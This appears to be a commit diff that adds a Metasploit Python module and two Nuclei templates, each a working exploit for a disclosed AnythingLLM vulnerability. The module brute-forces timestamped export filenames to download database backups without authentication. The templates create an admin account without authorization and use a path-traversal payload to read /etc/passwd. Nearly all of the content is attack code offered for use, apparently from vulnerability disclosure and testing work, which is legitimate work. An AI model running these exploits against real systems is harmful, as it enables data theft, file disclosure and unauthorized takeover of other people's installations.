commit
8b6cee2192
|
@ -0,0 +1,134 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||||
|
|
||||||
|
# standard modules
|
||||||
|
import logging
|
||||||
|
import concurrent.futures
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
from datetime import datetime, timedelta
|
||||||
|
from itertools import islice
|
||||||
|
|
||||||
|
# extra modules
|
||||||
|
dependencies_missing = False
|
||||||
|
try:
|
||||||
|
import requests
|
||||||
|
except ImportError:
|
||||||
|
dependencies_missing = True
|
||||||
|
|
||||||
|
from metasploit import module
|
||||||
|
|
||||||
|
metadata = {
|
||||||
|
'name': 'AnythingLLM Database Export Bruteforce',
|
||||||
|
'description': '''
|
||||||
|
AnythingLLM creates database exports with predictible names and does not enforce authentication on the API endpoint to retrieve them.
|
||||||
|
This module bruteforces names in a specific time range to try and retreive the DB backup.
|
||||||
|
''',
|
||||||
|
'authors': [
|
||||||
|
'dastaj' # Vuln discovery
|
||||||
|
'byt3bl33d3r <marcello@protectai.com>' # MSF Module
|
||||||
|
],
|
||||||
|
|
||||||
|
'rank': 'excellent',
|
||||||
|
'date': '2024-01-12',
|
||||||
|
'license': 'MSF_LICENSE',
|
||||||
|
'references': [
|
||||||
|
{'type': 'url', 'ref': 'https://huntr.com/bounties/f114c787-ab5f-4f83-afa5-c000435efb78/'},
|
||||||
|
{'type': 'cve', 'ref': 'CVE-2024-0551'}
|
||||||
|
],
|
||||||
|
'type': 'single_scanner',
|
||||||
|
'options': {
|
||||||
|
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||||
|
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 3001},
|
||||||
|
'bruteforce_threads': {'type': 'int', 'description': 'Max number of concurrent threads', 'required': True, 'default': 10},
|
||||||
|
'url_path': {'type': 'string', 'description': 'URL Path', 'required': False, 'default': '/api/system/data-exports/'},
|
||||||
|
'hours': {'type': 'int', 'description': 'Hour Timestamps to search through', 'required': True, 'default': 6},
|
||||||
|
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def convert_args_to_correct_type(args):
|
||||||
|
'''
|
||||||
|
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||||
|
|
||||||
|
When a module is run using msfconsole, the module args are all passed as strings
|
||||||
|
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||||
|
'''
|
||||||
|
|
||||||
|
corrected_args = {}
|
||||||
|
|
||||||
|
for k,v in args.items():
|
||||||
|
option_to_convert = metadata['options'].get(k)
|
||||||
|
if option_to_convert:
|
||||||
|
type_to_convert = metadata['options'][k]['type']
|
||||||
|
if type_to_convert == 'bool':
|
||||||
|
if isinstance(v, str):
|
||||||
|
if v.lower() == 'false':
|
||||||
|
corrected_args[k] = False
|
||||||
|
elif v.lower() == 'true':
|
||||||
|
corrected_args[k] = True
|
||||||
|
|
||||||
|
if type_to_convert == 'port' or type_to_convert == 'int':
|
||||||
|
corrected_args[k] = int(v)
|
||||||
|
|
||||||
|
return {**args, **corrected_args}
|
||||||
|
|
||||||
|
def datetime_range_gen(hours: int = 6):
|
||||||
|
# Define the start and end of your date range
|
||||||
|
end_date = datetime.now()
|
||||||
|
start_date = end_date - timedelta(hours=hours)
|
||||||
|
|
||||||
|
# Initialize the current date to the start date
|
||||||
|
current_date = start_date
|
||||||
|
|
||||||
|
# Iterate over each second in the date range
|
||||||
|
while current_date < end_date:
|
||||||
|
yield current_date.strftime("%Y-%m-%d-%H:%M:%S")
|
||||||
|
current_date += timedelta(seconds=1)
|
||||||
|
|
||||||
|
def batcher(iterable, batch_size):
|
||||||
|
#iterator = iter(iterable)
|
||||||
|
while batch := list(islice(iterable, batch_size)):
|
||||||
|
for v in batch:
|
||||||
|
yield v
|
||||||
|
|
||||||
|
def bruteforce_thread(url: str, datestr: str):
|
||||||
|
url = url + f"anythingllm-export-{datestr}.zip"
|
||||||
|
r = requests.get(url, timeout=5)
|
||||||
|
return r.status_code, r.content
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
args = convert_args_to_correct_type(args)
|
||||||
|
|
||||||
|
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||||
|
|
||||||
|
logging.debug(args)
|
||||||
|
if dependencies_missing:
|
||||||
|
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||||
|
return
|
||||||
|
|
||||||
|
MAX_WORKERS = args['bruteforce_threads']
|
||||||
|
hours = args['hours']
|
||||||
|
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||||
|
url = urljoin(base_url, args['url_path'])
|
||||||
|
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
|
||||||
|
future_to_date = {executor.submit(bruteforce_thread, url, datestr): datestr for datestr in batcher(datetime_range_gen(hours), MAX_WORKERS)}
|
||||||
|
for future in concurrent.futures.as_completed(future_to_date, timeout=MAX_WORKERS):
|
||||||
|
datestr = future_to_date[future]
|
||||||
|
try:
|
||||||
|
status_code, content = future.result()
|
||||||
|
except Exception as exc:
|
||||||
|
logging.error(f"{datestr} generated an exception: {exc}")
|
||||||
|
else:
|
||||||
|
logging.info(f"Status: {status_code}, File: anythingllm-export-{datestr}.zip")
|
||||||
|
if status_code == 200:
|
||||||
|
logging.info("Found db backup! Saving to disk")
|
||||||
|
with open(f"anythingllm-export-{datestr}.zip", 'wb') as f:
|
||||||
|
f.write(content)
|
||||||
|
|
||||||
|
logging.info("Completed")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
module.run(metadata, run)
|
|
@ -0,0 +1,40 @@
|
||||||
|
id: anything-llm-admin-creation-bypass
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: Anything LLM Unauthorized Admin Account Creation
|
||||||
|
author: raltheo2, byt3bl33d3r
|
||||||
|
severity: high
|
||||||
|
description: Unauthorized creation of an admin account in Anything LLM due to lack of server-side validation for user roles.
|
||||||
|
reference:
|
||||||
|
- https://huntr.com/bounties/f69e3307-7b44-4776-ac60-2990990723ec/
|
||||||
|
classification:
|
||||||
|
cvss-score: 7.2
|
||||||
|
cve-id: CVE-2024-0795
|
||||||
|
cwe-id: CWE-284
|
||||||
|
tags: anything-llm,admin,account,creation,bypass,cve,huntr,protectai
|
||||||
|
|
||||||
|
# Update these accordingly
|
||||||
|
variables:
|
||||||
|
token: ""
|
||||||
|
|
||||||
|
http:
|
||||||
|
- method: POST
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/api/admin/users/new"
|
||||||
|
headers:
|
||||||
|
Authorization: "Bearer {{token}}"
|
||||||
|
Content-Type: "application/json"
|
||||||
|
body: |
|
||||||
|
{
|
||||||
|
"username": "nuclei",
|
||||||
|
"password": "nuclei1234",
|
||||||
|
"role": "admin"
|
||||||
|
}
|
||||||
|
matchers:
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
||||||
|
- type: word
|
||||||
|
part: header
|
||||||
|
words:
|
||||||
|
- "application/json"
|
|
@ -0,0 +1,43 @@
|
||||||
|
id: anythingllm-path-traversal
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: AnythingLLM Profile Picture Path Traversal
|
||||||
|
author: williwollo, byt3bl33d3r
|
||||||
|
severity: high
|
||||||
|
description: Path traversal vulnerability in AnythingLLM allows attackers to download any file from the system by manipulating the `pfpFilename` parameter.
|
||||||
|
reference:
|
||||||
|
- https://huntr.com/bounties/c6afeb5e-f211-4b3d-aa4b-6bad734217a6/
|
||||||
|
classification:
|
||||||
|
cvss-score: 9.6
|
||||||
|
cve-id: CVE-2024-0550
|
||||||
|
cwe-id: CWE-23
|
||||||
|
tags: path-traversal,anything-llm,cve,huntr,protectai
|
||||||
|
|
||||||
|
# Update these accordingly
|
||||||
|
variables:
|
||||||
|
token: ""
|
||||||
|
user_id: "3"
|
||||||
|
|
||||||
|
http:
|
||||||
|
- method: POST
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/api/admin/user/{{user_id}}"
|
||||||
|
headers:
|
||||||
|
Authorization: Bearer {{token}}
|
||||||
|
Content-Type: text/plain;charset=UTF-8
|
||||||
|
body: |
|
||||||
|
{
|
||||||
|
"pfpFilename": "../../../../../../etc/passwd"
|
||||||
|
}
|
||||||
|
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/api/system/pfp/{{user_id}}"
|
||||||
|
headers:
|
||||||
|
Authorization: Bearer {{token}}
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
words:
|
||||||
|
- "root:x"
|
||||||
|
part: body
|
Loading…
Reference in New Issue